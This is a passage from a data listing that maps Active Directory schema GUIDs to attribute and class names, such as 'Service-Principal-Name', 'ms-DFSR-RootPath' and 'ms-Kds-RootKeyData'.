- '18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages', - '07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action', - '94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs', - 'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid', - 'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number', - 'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer', - '52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages', - 'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference', - '5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL', - '9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version', - '09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name', - '14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL', - 'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA', - 'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge', - '9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes', - '07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type', - 'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For', - 'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin', - '26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference', - '0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones', - '9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective', - 'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference', - 'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For', - 'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID', - '26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL', - 'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed', - 'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy', - '7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container', - '9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes', - 'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference', - '37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For', - 'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID', - 'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role', - 'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3', - '9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective', - 'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference', - 'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc', - 'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID', - 'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State', - '7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut', - 'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf', - 'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage', - '00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities', - '00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object', - 'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List', - 'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSCallbackNumber', - 'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information', - '0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor', - '45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR', - '28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct', - 'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL', - 'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress', - 'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID', - '5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms', - '1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings', - 'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet', - '96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version', - 'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted', - '011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time', - 'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute', - 'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info', - '27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers', - 'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name', - 'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral', - 'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time', - 'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType', - 'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name', - 'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm', - 'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table', - 'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container', - '8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To', - 'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL', - 'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count', - 'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber', - '28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name', - '13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length', - 'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number', - '19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set', - 'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon', - 'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress', - '28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type', - '80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations', - 'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry', - '0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant', - '19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder', - '31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success', - 'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute', - 'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version', - '8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL', - 'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain', - '398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account', - '8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled', - '78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference', - 'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain', - 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Service-Principal-Name', - '29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL', - 'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry', - '3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain', - 'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued', - 'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL', - '80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags', - '7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command', - '03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset', - '281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library', - 'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName', - 'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 'jpegPhoto', - '8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags', - 'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name', - '553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu', - 'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period', - 'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table', - 'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute', - 'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords', - 'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name', - '52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages', - '3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors', - 'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume', - 'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names', - '1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information', - '07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients', - '45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name', - 'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys', - 'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality', - 'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID', - 'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI', - '0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients', - '3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book', - '28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records', - 'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount', - 'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID', - '1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time', - '0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests', - 'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only', - '285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation', - '52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found', - 'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax', - 'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed', - '5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member', - '07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count', - '17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History', - 'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time', - '5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount', - '9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types', - '52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent', - '92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref', - '3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID', - '2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms', - 'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt', - '11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting', - 'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio', - 'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff', - '1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version', - '532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID', - '3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID', - '387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt', - '2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup', - '6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy', - 'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon', - '78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension', - '3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization', - 'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List', - '07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy', - 'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition', - 'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options', - 'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp', - 'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath', - '0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes', - 'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List', - 'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy', - '2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService', - '1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List', - 'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time', - '90b769ac-4413-43cf-ad7a-867142e740a3': 'ms-DFSR-RootSizeInMb', - '07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients', - '3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object', - '8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy', - '250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet', - 'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class', - '7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence', - '86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath', - '07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes', - '3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL', - '80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition', - '9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol', - 'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time', - '7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits', - '250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb', - '3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path', - '1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server', - '62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID', - '90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration', - 'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count', - 'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name', - '5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath', - '07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients', - '26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address', - '57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy', - 'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc', - '1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location', - '7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List', - '9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb', - '2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File', - '2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings', - '516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL', - '9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data', - 'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL', - '03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled', - '0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy', - 'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name', - 'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source', - 'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost', - 'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List', - 'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID', - 'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType', - '0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU', - 'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address', - '92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type', - 'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager', - 'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName', - '2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret', - '23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin', - '07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL', - '3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class', - '0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted', - 'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork', - 'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time', - 'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History', - 'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter', - '07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server', - 'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of', - 'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued', - 'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application', - 'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count', - 'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags', - '93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter', - '2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File', - 'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs', - '1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id', - '72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup', - 'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category', - '80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference', - '4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule', - '0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools', - '9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry', - 'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer', - '860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation', - 'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute', - 'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID', - '048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords', - 'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address', - '963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description', - '998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For', - '7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap', - 'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate', - 'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name', - 'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags', - 'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store', - '963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes', - 'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID', - '8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role', - '963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN', - 'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description', - 'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options', - 'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid', - '5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root', - '8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param', - '904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject', - '963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect', - 'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id', - '1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid', - '52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member', - 'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials', - '1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID', - '4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope', - '963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages', - '09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location', - 'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled', - '52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL', - '1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context', - '30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param', - 'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device', - '963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL', - 'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window', - 'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb', - '19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List', - 'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname', - 'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length', - '1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task', - 'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script', - 'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration', - '2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath', - 'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members', - '037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes', - '615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length', - '4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice', - '9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name', - 'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold', - '51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence', - '3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain', - '037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership', - '26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData', - '44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature', - 'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense', - '28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time', - '2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid', - 'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History', - '037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object', - 'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version', - 'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases', - '7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs', - 'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo', - 'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget', - 'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor', - '037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID', - '96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID', - '3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings', - '7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories', - 'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count', - '261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference', - 'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name', - 'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class', - '6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime', - 'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id', - '7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id', - 'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours', - '6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference', - '26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category', - 'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags', - 'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime', - '5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container', - '963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object', - 'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation', - 'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL', - 'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class', - 'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain', - '9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash', - '36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info', - '1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List', - 'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time', - '5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL', - 'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category', - 'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain', - '8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm', - 'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container', - '2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates', - 'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count', - 'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority', - '9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes', - 'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only', - 